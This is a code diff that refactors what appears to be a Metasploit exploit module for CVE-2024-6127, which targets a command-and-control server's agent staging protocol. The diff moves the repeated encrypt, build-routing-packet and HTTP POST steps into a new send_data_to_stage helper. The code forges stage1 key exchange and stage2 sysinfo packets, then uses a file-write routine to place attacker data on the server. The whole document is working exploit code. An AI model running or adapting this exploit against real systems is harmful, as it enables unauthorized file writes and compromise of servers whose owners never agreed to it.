@@ -248,15 +248,8 @@ def exploit
248
248
# stage1
249
249
private_key = SecureRandom . hex ( KEYLENGTH ) . hex
250
250
public_key = GENERATOR . pow ( private_key , PRIME ) . to_s . encode ( "UTF-8" )
251
- enc_data = aes_encrypt_then_hmac ( staging_key , public_key )
252
251
session_id = SecureRandom . alphanumeric ( 8 ) . upcase
253
- data = build_routing_packet ( staging_key , STAGE1 , enc_data , session_id )
254
- res = send_request_cgi ( {
255
- 'data' => data ,
256
- 'method' => 'POST' ,
257
- 'uri' => normalize_uri ( target_uri . path , datastore [ 'STAGE_PATH' ] ) ,
258
- 'headers' => { 'user-agent' => datastore [ 'AGENT' ] }
259
- } )
252
+ res = send_data_to_stage ( staging_key , public_key , staging_key , STAGE1 , session_id )
260
253
fail_with ( Failure ::Unknown , 'Failed to send the key to STAGE1' ) unless res and res . code == 200
261
254
vprint_good ( "Successfully sent the key to STAGE1" )
262
255
@@ -278,14 +271,7 @@ def exploit
278
271
279
272
# stage2
280
273
sysinfo = "#{ nonce +1 } |#{ datastore [ 'RHOSTS' ] } :#{ datastore [ 'RPORT' ] } ||:^)|:^}|127.0.1.1|:^)|False|rekt.py|2603444|python|3.11|x86_64" . encode ( "UTF-8" )
281
- hmac_data = aes_encrypt_then_hmac ( session_key , sysinfo )
282
- rpacket = build_routing_packet ( staging_key , STAGE2 , hmac_data , session_id )
283
- res = send_request_cgi ( {
284
- 'data' => rpacket ,
285
- 'method' => 'POST' ,
286
- 'uri' => normalize_uri ( target_uri . path , datastore [ 'STAGE_PATH' ] ) ,
287
- 'headers' => { 'user-agent' => datastore [ 'AGENT' ] }
288
- } )
274
+ res = send_data_to_stage ( session_key , sysinfo , staging_key , STAGE2 , session_id )
289
275
fail_with ( Failure ::Unknown , "Failed to communicate with STAGE2" ) unless res and res . code == 200
290
276
aes_decrypt ( session_key , res . body )
291
277
@@ -424,9 +410,12 @@ def write_file_cve_2024_6127(path, data, session_id, session_key, staging_key)
424
410
compress ( data )
425
411
] . join ( '|' )
426
412
)
427
- enc_packet = aes_encrypt_then_hmac ( session_key , packet )
428
- data = build_routing_packet ( staging_key , RESULT_POST , enc_packet , session_id )
413
+ send_data_to_stage ( session_key , packet , staging_key , RESULT_POST , session_id )
414
+ end
429
415
416
+ def send_data_to_stage ( session_key , packet , staging_key , task_id , session_id )
417
+ enc_packet = aes_encrypt_then_hmac ( session_key , packet )
418
+ data = build_routing_packet ( staging_key , task_id , enc_packet , session_id )
430
419
res = send_request_cgi ( {
431
420
'data' => data ,
432
421
'method' => 'POST' ,
0 commit comments